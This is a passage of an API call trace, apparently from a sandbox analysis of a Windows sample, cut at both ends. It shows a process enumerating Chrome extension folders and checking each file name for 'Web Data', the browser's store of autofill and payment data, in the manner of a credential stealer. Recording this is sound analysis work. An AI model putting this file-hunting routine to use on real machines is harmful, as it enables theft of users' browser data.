IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" [0056.229] LocalFree (hMem=0x2daca0) returned 0x0 [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned 132 [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned 132 [0056.229] lstrlenA (lpString="\\*.*") returned 4 [0056.229] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.229] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" [0056.229] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*" [0056.229] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.229] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.229] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.229] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.229] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.229] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.229] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.229] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.229] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.229] LocalFree (hMem=0x2daec0) returned 0x0 [0056.229] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.229] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.229] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.229] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.229] lstrlenA (lpString="\\") returned 1 [0056.229] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.229] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.229] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.229] lstrlenA (lpString="sv") returned 2 [0056.229] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.229] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.229] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" [0056.229] LocalFree (hMem=0x2daca0) returned 0x0 [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned 132 [0056.229] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned 132 [0056.229] lstrlenA (lpString="\\*.*") returned 4 [0056.229] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.229] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" [0056.229] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*" [0056.229] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.230] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.230] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.230] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.230] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.230] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.230] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.230] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.230] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.230] LocalFree (hMem=0x2daec0) returned 0x0 [0056.230] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.230] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.230] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.230] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.230] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.230] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.230] lstrlenA (lpString="\\") returned 1 [0056.230] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.230] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.230] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.230] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.230] lstrlenA (lpString="th") returned 2 [0056.230] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.230] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.230] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" [0056.230] LocalFree (hMem=0x2daca0) returned 0x0 [0056.230] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned 132 [0056.230] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned 132 [0056.230] lstrlenA (lpString="\\*.*") returned 4 [0056.230] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.230] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" [0056.230] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*" [0056.230] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.230] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.230] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.231] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.231] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.231] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.231] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.231] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.231] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.231] LocalFree (hMem=0x2daec0) returned 0x0 [0056.231] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.231] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.231] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.231] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.231] lstrlenA (lpString="\\") returned 1 [0056.231] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.231] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.231] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.231] lstrlenA (lpString="tr") returned 2 [0056.231] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.231] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.231] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" [0056.231] LocalFree (hMem=0x2daca0) returned 0x0 [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned 132 [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned 132 [0056.231] lstrlenA (lpString="\\*.*") returned 4 [0056.231] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.231] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr" [0056.231] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*" [0056.231] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.231] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.231] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.231] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.231] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.231] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.231] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.231] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.231] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.231] LocalFree (hMem=0x2daec0) returned 0x0 [0056.231] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.231] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.231] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.231] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.231] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.231] lstrlenA (lpString="\\") returned 1 [0056.231] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.232] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.232] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.232] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.232] lstrlenA (lpString="uk") returned 2 [0056.232] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.232] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.232] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" [0056.232] LocalFree (hMem=0x2daca0) returned 0x0 [0056.232] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned 132 [0056.232] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned 132 [0056.232] lstrlenA (lpString="\\*.*") returned 4 [0056.232] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.232] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk" [0056.232] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK 